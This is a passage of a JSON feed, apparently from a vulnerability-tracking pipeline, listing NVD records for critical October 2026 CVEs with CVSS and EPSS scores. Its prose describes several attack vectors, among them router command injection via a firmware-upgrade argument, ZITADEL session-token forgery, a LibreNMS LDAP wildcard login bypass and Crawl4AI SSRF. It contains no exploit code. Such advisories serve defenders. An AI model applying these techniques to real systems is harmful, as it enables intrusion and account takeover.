2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108918&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108918, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108917","cveId":"CVE-2026-108917","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in Edimax BR-6208AC 1.32. This issue affects some unknown processing of the file /goform/formAutoFWupgrade.","summary":"A vulnerability was determined in Edimax BR-6208AC 1.32. This issue affects some unknown processing of the file /goform/formAutoFWupgrade. Executing a manipulation of the argument tftpsIP can lead to command injection. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A vulnerability was determined in Edimax BR-6208AC 1.32. This issue affects some unknown processing of the file /goform/formAutoFWupgrade. Executing a manipulation of the argument tftpsIP can lead to command injection. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T18:17:22.163Z","updatedAt":"2026-10-13T17:17:22.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108917","asOf":"2026-10-13T17:17:22.140Z"},"epss":{"probability":0.01989,"percentile":0.80506,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108917&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108917","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108917","type":"primary","publishedAt":"2026-10-12T18:17:22.163Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108917&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108917, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84286","cveId":"CVE-2026-84286","aliases":[],"kind":"vulnerability","title":"ExLlamaV3’s EXL3 loader uses an untrusted, model-supplied index to select a CUDA kernel without first verifying that the index is within bounds.","summary":"ExLlamaV3’s EXL3 loader uses an untrusted, model-supplied index to select a CUDA kernel without first verifying that the index is within bounds. A malicious model can force the code to read and invoke an out‑of‑range function pointer, resulting in a reproducible crash. Under specific conditions involving certain host memory layouts, it may be possible for an attacker to exploit this vulnerability to achieve controlled indirect kernel dispatch during model load.","detail":"ExLlamaV3’s EXL3 loader uses an untrusted, model-supplied index to select a CUDA kernel without first verifying that the index is within bounds. A malicious model can force the code to read and invoke an out‑of‑range function pointer, resulting in a reproducible crash. Under specific conditions involving certain host memory layouts, it may be possible for an attacker to exploit this vulnerability to achieve controlled indirect kernel dispatch during model load.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:35.873Z","updatedAt":"2026-10-19T12:17:10.860Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84286","asOf":"2026-10-19T12:17:10.860Z"},"epss":{"probability":0.00589,"percentile":0.47881,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84286&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84286","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84286","type":"primary","publishedAt":"2026-10-12T17:17:35.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84286&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84286, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109373","cveId":"CVE-2026-109373","aliases":[],"kind":"vulnerability","title":"ZITADEL 3.0.0 before 4.19.2 contains an authentication bypass vulnerability in the Login V2 UI that allows unauthenticated attackers to obtain other users' session tokens by...","summary":"ZITADEL 3.0.0 before 4.19.2 contains an authentication bypass vulnerability in the Login V2 UI that allows unauthenticated attackers to obtain other users' session tokens by forging unsigned session cookies. Attackers can guess time-ordered session IDs around a victim's sign-in and supply them with empty tokens to receive rotated tokens, taking over accounts including MFA-completed administrator sessions.","detail":"ZITADEL 3.0.0 before 4.19.2 contains an authentication bypass vulnerability in the Login V2 UI that allows unauthenticated attackers to obtain other users' session tokens by forging unsigned session cookies. Attackers can guess time-ordered session IDs around a victim's sign-in and supply them with empty tokens to receive rotated tokens, taking over accounts including MFA-completed administrator sessions.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:35.110Z","updatedAt":"2026-10-13T17:17:27.770Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109373","asOf":"2026-10-13T17:17:27.770Z"},"epss":{"probability":0.00423,"percentile":0.36302,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109373&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109373","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109373","type":"primary","publishedAt":"2026-10-12T17:17:35.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109373&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109373, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109372","cveId":"CVE-2026-109372","aliases":[],"kind":"vulnerability","title":"ZITADEL 4.x before 4.19.2 and 3.x through 3.4.15 contains an authentication bypass in the SAML identity-provider intent callback, which verifies the assertion signature using the...","summary":"ZITADEL 4.x before 4.19.2 and 3.x through 3.4.15 contains an authentication bypass in the SAML identity-provider intent callback, which verifies the assertion signature using the provider named in the request URL but resolves the user from the login intent without checking they match. Attackers with organization-administrator permission can register a SAML provider with their own signing key to obtain authenticated sessions as any user linked to another SAML provider on the instance, including in other organizations.","detail":"ZITADEL 4.x before 4.19.2 and 3.x through 3.4.15 contains an authentication bypass in the SAML identity-provider intent callback, which verifies the assertion signature using the provider named in the request URL but resolves the user from the login intent without checking they match. Attackers with organization-administrator permission can register a SAML provider with their own signing key to obtain authenticated sessions as any user linked to another SAML provider on the instance, including in other organizations.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:34.800Z","updatedAt":"2026-10-13T17:17:27.643Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109372","asOf":"2026-10-13T17:17:27.643Z"},"epss":{"probability":0.0037,"percentile":0.30622,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109372&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109372","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109372","type":"primary","publishedAt":"2026-10-12T17:17:34.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109372&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109372, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109357","cveId":"CVE-2026-109357","aliases":[],"kind":"vulnerability","title":"LibreNMS before 26.9.0 contains an LDAP filter injection in ldap-authorization and ad-authorization modes because usernames are inserted unescaped into LDAP search filters and...","summary":"LibreNMS before 26.9.0 contains an LDAP filter injection in ldap-authorization and ad-authorization modes because usernames are inserted unescaped into LDAP search filters and authentication only checks user existence. When REMOTE_USER is not forwarded, unauthenticated attackers can send a wildcard username via HTTP Basic Authorization (PHP_AUTH_USER) to match all users and groups and gain admin access.","detail":"LibreNMS before 26.9.0 contains an LDAP filter injection in ldap-authorization and ad-authorization modes because usernames are inserted unescaped into LDAP search filters and authentication only checks user existence. When REMOTE_USER is not forwarded, unauthenticated attackers can send a wildcard username via HTTP Basic Authorization (PHP_AUTH_USER) to match all users and groups and gain admin access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:33.020Z","updatedAt":"2026-10-15T20:33:06.527Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109357","asOf":"2026-10-15T20:33:06.527Z"},"epss":{"probability":0.00596,"percentile":0.48181,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109357&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109357","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109357","type":"primary","publishedAt":"2026-10-12T17:17:33.020Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109357&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109357, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109321","cveId":"CVE-2026-109321","aliases":[],"kind":"vulnerability","title":"Grav Login OAuth plugin (grav-plugin-login-oauth) before 1.4.3 provisions OAuth accounts as ordinary Grav users with a deterministic <provider>.<id> username and an unsalted MD5...","summary":"Grav Login OAuth plugin (grav-plugin-login-oauth) before 1.4.3 provisions OAuth accounts as ordinary Grav users with a deterministic <provider>.<id> username and an unsalted MD5 hash of the provider identifier as the password, without disabling password login. Unauthenticated remote attackers who learn or guess a provider identifier can reproduce these credentials and log in, gaining administrative control of privileged accounts.","detail":"Grav Login OAuth plugin (grav-plugin-login-oauth) before 1.4.3 provisions OAuth accounts as ordinary Grav users with a deterministic <provider>.<id> username and an unsalted MD5 hash of the provider identifier as the password, without disabling password login. Unauthenticated remote attackers who learn or guess a provider identifier can reproduce these credentials and log in, gaining administrative control of privileged accounts.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:27.247Z","updatedAt":"2026-10-18T13:16:33.493Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109321","asOf":"2026-10-18T13:16:33.493Z"},"epss":{"probability":0.00402,"percentile":0.3417,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109321&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109321","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109321","type":"primary","publishedAt":"2026-10-12T17:17:27.247Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109321&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109321, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109238","cveId":"CVE-2026-109238","aliases":[],"kind":"vulnerability","title":"Crawl4AI 0.7.0 before 0.9.4 contains a server-side request forgery vulnerability that allows API clients to reach internal addresses by enabling link_preview_config on /crawl...","summary":"Crawl4AI 0.7.0 before 0.9.4 contains a server-side request forgery vulnerability that allows API clients to reach internal addresses by enabling link_preview_config on /crawl requests. Attackers can supply a controlled page with include_external and include_patterns set, causing AsyncUrlSeeder to fetch internal, private, and cloud-metadata links and return their parsed head data.","detail":"Crawl4AI 0.7.0 before 0.9.4 contains a server-side request forgery vulnerability that allows API clients to reach internal addresses by enabling link_preview_config on /crawl requests. Attackers can supply a controlled page with include_external and include_patterns set, causing AsyncUrlSeeder to fetch internal, private, and cloud-metadata links and return their parsed head data.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:14.420Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109238","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00298,"percentile":0.22255,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109238&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109238","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109238","type":"primary","publishedAt":"2026-10-12T17:17:14.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109238&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109238, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108907","cveId":"CVE-2026-108907","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in Netcore NR268 1.7.121109. Affected is the function user_ok of the component CGI Execution.","summary":"A vulnerability was determined in Netcore NR268 1.7.121109. Affected is the function user_ok of the component CGI Execution. This manipulation causes improper authentication. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was determined in Netcore NR268 1.7.121109. Affected is the function user_ok of the component CGI Execution. This manipulation causes improper authentication. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:13.373Z","updatedAt":"2026-10-13T17:17:21.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108907","asOf":"2026-10-13T17:17:21.750Z"},"epss":{"probability":0.01234,"percentile":0.68818,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108907&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108907","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108907","type":"primary","publishedAt":"2026-10-12T17:17:13.373Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108907&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108907, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-9191","cveId":"CVE-2026-9191","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently isolate user-supplied code executed through certain REST and XDBC...","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently isolate user-supplied code executed through certain REST and XDBC evaluation paths from HTTP request, response, and session state. An attacker able to execute code through an affected path could perform unauthorized actions or compromise an authenticated session.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently isolate user-supplied code executed through certain REST and XDBC evaluation paths from HTTP request, response, and session state. An attacker able to execute code through an affected path could perform unauthorized actions or compromise an authenticated session.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:08.223Z","updatedAt":"2026-10-15T16:27:17.070Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-9191","asOf":"2026-10-15T16:27:17.070Z"},"epss":{"probability":0.00277,"percentile":0.19916,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-9191&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-9191","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9191","type":"primary","publishedAt":"2026-10-12T16:17:08.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-9191&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-9191, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92681","cveId":"CVE-2026-92681","aliases":[],"kind":"vulnerability","title":"In @neo4j/graphql versions up to and including 7.6.3, @authentication directives applied at the schema level or on the Query or Mutation types are silently ignored for top-level...","summary":"In @neo4j/graphql versions up to and including 7.6.3, @authentication directives applied at the schema level or on the Query or Mutation types are silently ignored for top-level fields annotated with @cypher. Only @authentication directives placed directly on the individual fields are enforced. An application that exposes a top-level @cypher field and relies on schema-level or type-level @authentication to protect it allows unauthenticated callers to invoke the field and run the configured Cypher statement with the privileges of the GraphQL service account, which may permit reading and modifying data. Fixed in 7.6.4.","detail":"In @neo4j/graphql versions up to and including 7.6.3, @authentication directives applied at the schema level or on the Query or Mutation types are silently ignored for top-level fields annotated with @cypher. Only @authentication directives placed directly on the individual fields are enforced. An application that exposes a top-level @cypher field and relies on schema-level or type-level @authentication to protect it allows unauthenticated callers to invoke the field and run the configured Cypher statement with the privileges of the GraphQL service account, which may permit reading and modifying data. Fixed in 7.6.4.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:07.323Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92681","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.0037,"percentile":0.30661,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92681&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92681","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92681","type":"primary","publishedAt":"2026-10-12T16:17:07.323Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 